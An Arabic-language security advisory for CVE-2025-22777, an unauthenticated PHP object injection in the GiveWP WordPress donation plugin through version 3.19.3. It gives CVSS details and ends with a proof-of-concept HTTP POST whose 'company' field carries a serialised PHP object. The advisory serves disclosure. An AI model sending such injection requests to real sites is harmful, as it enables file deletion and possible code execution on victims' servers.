CVE-2025-22777

GiveWP – إضافة التبرعات ومنصة جمع التبرعات <= 3.19.3 - حقن كائن PHP بدون مصادقة

الوصف

إضافة GiveWP – إضافة التبرعات ومنصة جمع التبرعات في WordPress معرضة لثغرة حقن كائن PHP في جميع الإصدارات حتى 3.19.3 ضمنًا، عبر إلغاء تسلسل مدخلات غير موثوقة من نموذج التبرع من خلال معامل 'company'. وهذا يتيح للمهاجمين غير المصادق عليهم حقن كائن PHP. كما أن وجود سلسلة POP إضافية يتيح للمهاجمين حذف ملفات عشوائية على الخادم، مما يجعل تنفيذ التعليمات البرمجية عن بُعد ممكنًا. يُرجى ملاحظة أن هذا يغطي تجاوزًا للإصلاح الخاص بـ CVE-2024-12877.

التفاصيل

• النوع: إضافة
• المعرّف (Slug): give
• الإصدار المتأثر: 3.19.3
• درجة CVSS: 9.8
• تقييم CVSS: حرجة
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-22777
• الحالة: نشطة

POC

POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

amount=10&currency=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=